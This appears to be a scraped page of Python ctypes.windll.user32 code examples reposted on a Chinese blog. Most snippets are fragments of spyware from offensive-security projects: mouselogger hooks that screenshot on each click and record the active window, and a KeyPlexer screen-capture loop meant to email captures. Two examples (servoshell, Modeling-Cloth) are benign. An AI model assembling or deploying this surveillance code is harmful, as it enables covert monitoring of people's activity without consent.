Python ctypes.windll.user32() Examples

Example 1

Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project7 votesvote downvote up
def get_current_process():
    hwnd = user32.GetForegroundWindow()
    
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    
    #process_id = "%d" % pid.value
    
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 












Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project6 votesvote downvote up
def get_current_process():
    hwnd = user32.GetForegroundWindow()
    
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    
    #process_id = "%d" % pid.value
    
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 









Example 3
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project6 votesvote downvote up
def get_current_process():
    hwnd = user32.GetForegroundWindow()
    
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    
    #process_id = "%d" % pid.value
    
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 







Example 4
Project: KeyPlexer   Author: nairuzabulhul   File: screenshots.py View Source Project6 votesvote downvote up
def capture_screenshots(file_path): 

    """This function takes snap shots of
        the host machine and send them by email.
        Every 13 captures image, an email is sent"""
  
    # using DPI aware to capture a full screenshot
    user32 = windll.user32
    user32.SetProcessDPIAware()

    if not os.path.exists(file_path):
        os.mkdir(file_path)

    #counter = 0 # counter to create multiple screen shots

    #while True:

    #time.sleep(2) #evey 10 minutes
    image = ImageGrab.grab() # grab the image
    save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') +  '.jpg')  
    image.save(save_as) 
Example 5
Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project5 votesvote downvote up
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
Example 6
Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project5 votesvote downvote up
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 

Example 7
Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project5 votesvote downvote up
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
Example 8
Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project5 votesvote downvote up
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((str(datetime.datetime.now()), height, width, exe, win_title, base64.b64encode(buf)))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)

#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
Example 9
Project: Modeling-Cloth   Author: the3dadvantage   File: ModelingCloth.py View Source Project5 votesvote downvote up
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
Example 10
Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project5 votesvote downvote up
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
Example 11
Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project5 votesvote downvote up
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 
Example 12
Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project5 votesvote downvote up
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
Example 13
Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project5 votesvote downvote up
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)

#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
Example 14
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project5 votesvote downvote up
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
Example 15
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project5 votesvote downvote up
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 
Example 16
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project5 votesvote downvote up
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
Example 17
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project5 votesvote downvote up
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)

#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
Example 18
Project: KeyPlexer   Author: nairuzabulhul   File: screenshots(OLD module).py View Source Project5 votesvote downvote up
def capture_screenshots(file_path): 

    """This function takes snap shots of
        the host machine and send them by email.
        Every 13 captures image, an email is sent"""

    #threading.Timer(5,capture_screenshots, [file_path]).start()
    
    # using DPI aware to capture a full screenshot
    user32 = windll.user32
    user32.SetProcessDPIAware()

    if not os.path.exists(file_path):
        os.mkdir(file_path)

    counter = 0 # counter to create multiple screen shots

    while True:

        time.sleep(10) #evey 10 minutes
        image = ImageGrab.grab() # grab the image
        save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') + str(counter) + '.jpg') 
        image.save(save_as)
        counter += 1

        if counter == 13:
            
            conn = get_current_connection()
            
            if conn == True :  
                #print "there is 3 pics in the folder"
                #send_new_email(file_path)
                #delete_images(file_path)
                counter = 0
                
            else:
                continue 
Example 19
Project: servoshell   Author: paulrouget   File: build_commands.py View Source Project5 votesvote downvote up
def notify_win(title, text):
    try:
        from servo.win32_toast import WindowsToast
        w = WindowsToast()
        w.balloon_tip(title, text)
    except:
        from ctypes import Structure, windll, POINTER, sizeof
        from ctypes.wintypes import DWORD, HANDLE, WINFUNCTYPE, BOOL, UINT

        class FLASHWINDOW(Structure):
            _fields_ = [("cbSize", UINT),
                        ("hwnd", HANDLE),
                        ("dwFlags", DWORD),
                        ("uCount", UINT),
                        ("dwTimeout", DWORD)]

        FlashWindowExProto = WINFUNCTYPE(BOOL, POINTER(FLASHWINDOW))
        FlashWindowEx = FlashWindowExProto(("FlashWindowEx", windll.user32))
        FLASHW_CAPTION = 0x01
        FLASHW_TRAY = 0x02
        FLASHW_TIMERNOFG = 0x0C

        params = FLASHWINDOW(sizeof(FLASHWINDOW),
                             windll.kernel32.GetConsoleWindow(),
                             FLASHW_CAPTION | FLASHW_TRAY | FLASHW_TIMERNOFG, 3, 0)

    FlashWindowEx(params)

https://www.programcreek.com/python/example/53930/ctypes.windll.user32































































转载于:https://www.cnblogs.com/yanxiatingyu/p/9346722.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值